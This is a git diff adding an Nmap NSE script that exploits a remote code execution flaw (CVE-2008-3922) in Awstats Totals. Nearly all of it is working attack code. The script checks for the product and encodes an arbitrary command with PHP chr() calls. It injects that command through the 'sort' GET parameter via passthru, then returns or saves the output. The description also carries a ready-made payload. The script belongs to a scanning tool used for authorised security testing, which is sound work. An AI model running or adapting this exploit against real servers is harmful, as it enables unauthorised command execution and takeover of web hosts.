diff options
Diffstat (limited to 'scripts/http-awstatstotals-exec.nse')
-rw-r--r-- | scripts/http-awstatstotals-exec.nse | 136 |
1 files changed, 136 insertions, 0 deletions
diff --git a/scripts/http-awstatstotals-exec.nse b/scripts/http-awstatstotals-exec.nse new file mode 100644 index 0000000..ad4397c --- /dev/null +++ b/scripts/http-awstatstotals-exec.nse @@ -0,0 +1,136 @@ +local http = require "http" +local io = require "io" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" + +description = [[ +Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 +and possibly other products based on it (CVE: 2008-3922). + +This vulnerability can be exploited through the GET variable <code>sort</code>. +The script queries the web server with the command payload encoded using PHP's +chr() function: + +<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code> + +Common paths for Awstats Total: +* <code>/awstats/index.php</code> +* <code>/awstatstotals/index.php</code> +* <code>/awstats/awstatstotals.php</code> + +References: +* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922 +* http://www.exploit-db.com/exploits/17324/ +]] + +--- +-- @usage +-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target> +-- nmap -sV --script http-awstatstotals-exec.nse <target> +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-awstatstotals-exec.nse: +-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux +-- +-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php +-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami +-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file. +--- +-- Other useful args when running this script: +-- http.useragent - User Agent to use in GET request +-- + +author = "Paulino Calderon <calderon@websec.mx>" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"vuln", "intrusive", "exploit"} + + +portrule = shortport.http + +--default values +local DEFAULT_CMD = "whoami" +local DEFAULT_URI = "/index.php" + +--- +--Writes string to file +-- @param filename Filename to write +-- @param content Content string +-- @return boolean status +-- @return string error +--Taken from: hostmap.nse +local function write_file(filename, contents) + local f, err = io.open(filename, "w") + if not f then + return f, err + end + f:write(contents) + f:close() + return true +end + +--- +--Checks if Awstats Totals installation seems to be there +-- @param host Host table +-- @param port Port table +-- @param path Path pointing to AWStats Totals +-- @return true if awstats totals is found +local function check_installation(host, port, path) + local check_req = http.get(host, port, path) + if not(http.response_contains(check_req, "AWStats")) then + return false + end + return true +end + +--- +--MAIN +--- +action = function(host, port) + local output = {} + local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI + local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD + local out = stdnse.get_script_args("http-awstatstotals-exec.outfile") + + --check for awstats signature + local awstats_check = check_installation(host, port, uri) + if not(awstats_check) then + stdnse.debug1("This does not look like Awstats Totals. Quitting.") + return + end + + --Encode payload using PHP's chr() + local encoded_payload = {} + cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end) + local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}" + + --set payload and send request + local req = http.get(host, port, uri .. stealth_payload) + if req.status and req.status == 200 then + output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body) + + --if out set, save output to file + if out then + local status, err = write_file(out, req.body) + if status then + output[#output+1] = string.format("Output saved to %s\n", out) + else + output[#output+1] = string.format("Error saving output to %s: %s\n", out, err) + end + end + + else + if nmap.verbosity()>= 2 then + output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request" + end + end + + --output + if #output>0 then + return table.concat(output, "\n") + end +end |